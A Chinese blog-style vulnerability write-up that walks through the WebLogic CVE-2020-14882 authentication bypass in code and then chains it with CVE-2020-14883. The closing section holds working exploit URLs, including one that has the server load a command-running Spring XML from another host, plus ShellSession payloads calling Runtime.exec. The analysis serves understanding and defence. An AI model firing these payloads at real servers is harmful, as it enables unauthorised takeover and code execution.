前言:
CVE-2020-14882这个漏洞我记得20年是秋冬之际,当时是在驻场,还好外网没有这个漏洞,大多数是在内网,当时还是个小白,只会用也不明白其原理,现在回过头来看,又有了新的理解。
环境:
weblogic12.2.1.4.0
jdk8u_121
代码分析:
鉴权代码分析:
CVE-2020-14882是权限绕过漏洞,所以我们直接切入主题,找到鉴权的代码,在idea中双击shift,查找doSecuredExecute
方法。
此方法存在于\middleware\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\internal\WebAppServletContext.class
WebAppServletContext类,可以看到中间有个servlet单词,servlet我们很熟悉了,servlet在内存马那块我们学习过,就是就相当于前置代码,所有请求先到我这里处理。上图可以看到1893行的checkAccess方法是检查权限的,这里我们还是利用奇安信的集成好的项目搭建12.2.14.0版本的weblogic。
跟进checkAccess方法:
我这里进入之后,会直接跳到474行throw var7;
然后就走到下面重载的checkAccess方法,这里很奇怪,代码中是在468行调用了重载后的方法,我在那里下断点没断到,直接进入了重载后的方法,有知道的带佬可以留言交流。
接下来491行就是检查路径资源,跟进:
我们可以看到出入的参数是浏览器访问的路径和方法,再在this.constraintsMap中查询是否为安全路径。this.constraintsMap集合中的键值对和web.xml中的security-constraint节点是对应的。
如果我们访问的是除上面之外的url,得到的resourceConstraint变量的unrestricted就是false,我们访问的是/console/console.portal,不在安全访问标签里,也就是受限制。
受限制之后,出来之后回到checkAccess方法,到511行isAuthorized()
进入isAuthorized方法,也就是鉴权:
跟进checkUserPerm方法,该方法用于检测用户是否登录,看session是否过期,
跟入hasPermission方法:
我这里是没有登录访问的,所以返回的是false,这就是鉴权的整个流程。
如果是访问正常静态资源,则返回unrestricted的值,hasPermission返回为true。
权限绕过分析
ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request)
一开始是这里开始检查所有的资源的,如果符合,返回一个resourceConstraint对象,就会继续往下进行。
那么我们需要的是既能绕过他的检查函数,又能返回resourceConstraint对象。
继续跟入\middleware\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\security\internal\WebAppSecurityWLS.class#getConstraint
在这里会调用weblogic.servlet.utils.StandardURLMapping#get去根据url,返回对应的ResourceConstraint对象
调用getExactOrPathMatch方法,也就是根据url,匹配是否在静态资源列表中
而 %252E%252E%252F 恰好是…/的url二次编码结果。这样既可以返回静态资源的ResourceConstraint对象,又不会影响正常访问。
后台界面处理流程/漏洞成因
我们先来看一下账号密码登录的处理流程。流程包含了处理servlet的一些逻辑。
由于我们用的是奇安信的集成项目,运行后可访问http://localhost:7001/console/login/LoginForm.jsp登录到Weblogic Server管理控制台,默认用户名为weblogic,默认密码为qaxateam01
登录后 后台界面实际上访问的是/console/console.portal,然后我们查看weblogic后台对应的webapp的web.xml(后台本身也算是一个webapp)
\middleware\wlserver\server\lib\consoleapp\webapp\WEB-INF\web.xml
找到AppManagerServlet,
名字为AppManagerServlet的servlet调用的类为\middleware\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\AsyncInitServlet.class
AppManagerServlet类中有个初始化函数,这里简单提一下,servlet的生命周期,熟悉的人应该很熟悉了,servlet的生命周期有:
Servlet 初始化后调用 init () 方法。
Servlet 调用 service() 方法来处理客户端的请求。
Servlet 销毁前调用 destroy() 方法。
言归正传,初始化函数调用如下:
init()-->initDelegate()-->createDelegate()
调用的createDelegate,赋值给this.delegate属性。
我们看一下createDelegate方法,
把SERVLET_CLASS_NAME对应的类,反射获取class类对象。
SERVLET_CLASS_NAME对应的类就是web.xml中的com.bea.console.utils.MBeanUtilsInitSingleFileServlet
类。
一开始MBeanUtilsInitSingleFileServlet这个类没找到,最后发现是在\middleware\wlserver\server\lib\consoleapp\webapp\WEB-INF\ib
中,导入包就可以了。
寻找类
grep -rn "com.bea.console.utils.MBeanUtilsInitSingleFileServlet" *
最终使用Class.forName实例化了com.bea.console.utils.MBeanUtilsInitSingleFileServlet类,赋值给this.delegate属性。这是初始化的操作。
再看一下service方法中的操作。
AsyncInitServlet#server-->MBeanUtilsInitSingleFileServlet.#server-->SingleFileServlet#server-->UIServlet#server
这是调用链,就不贴图了,都是进入到父类的server方法,最后定位到UIServlet#server
我们是get请求的,最后走到doGet方法
doGet方法,调用doPOST方法,奇怪的姿势又增加了。🤭
问题出在doPOST–>createUIContext–>UIServletInternal.createUIContext–>getTree–>URLDecoder.decode()
URLDecoder.decode执行完成后,我们的url路径(images/%2e%2e%2f)被再次解码,最终变成images/…/console.portal.portal,导致目录穿越。
根据http规定,url部分,需要url编码后发送给服务器。服务器正常解开并继续处理。这是第一层url编码。
而上图112行URLDecoder.decode()对URL进行了二次编码从而绕过限制。
servlet中先处理二次编码的poc,然后再有鉴权代码去鉴权,欺骗服务器后,服务器发现有权限访问静态资源(/console/images/%252E%252E%252Fconsole.portal ,其实有…/),然后就让我console.portal,从而接管后台。
利用:
影响版本:
Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0
这里我对12.1.3.0.0也搭建了环境,没有检测到其存在此漏洞,有点奇怪。🤫
poc:
http://ip:port/console/%2E%2E%2Fconsole.portal
/console/css/%252e%252e%252fconsole.portal
大小写编码可以达到绕过的目的
有个问题就是使用payload第一次访问会显示这样:
payload
http://192.168.210.83:7001/console/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=HomePage1
仔细看了一下,是URL编码把…先解析,也不知道为啥,知道的带佬可以一起交流。
exp:
将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。
此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession
,
二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
。
weblogic10
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.210.49:7777/linux-exec.xml")
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
weblogic12
Weblogic 10 没有com.tangosol.coherence.mvel2.sh.ShellSession这个gadget,只存在于weblogic 12,weblogic10 并没有这个包,所以无法使用。
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
参考:
https://mp.weixin.qq.com/s/_zNr5Jw7tH_6XlUdudhMhA
https://144.one/weblogic-cve-2020-1488214883lou-dong-fen-xi.html
https://kuron3k0.github.io/2020/11/12/CVE-2020-14882/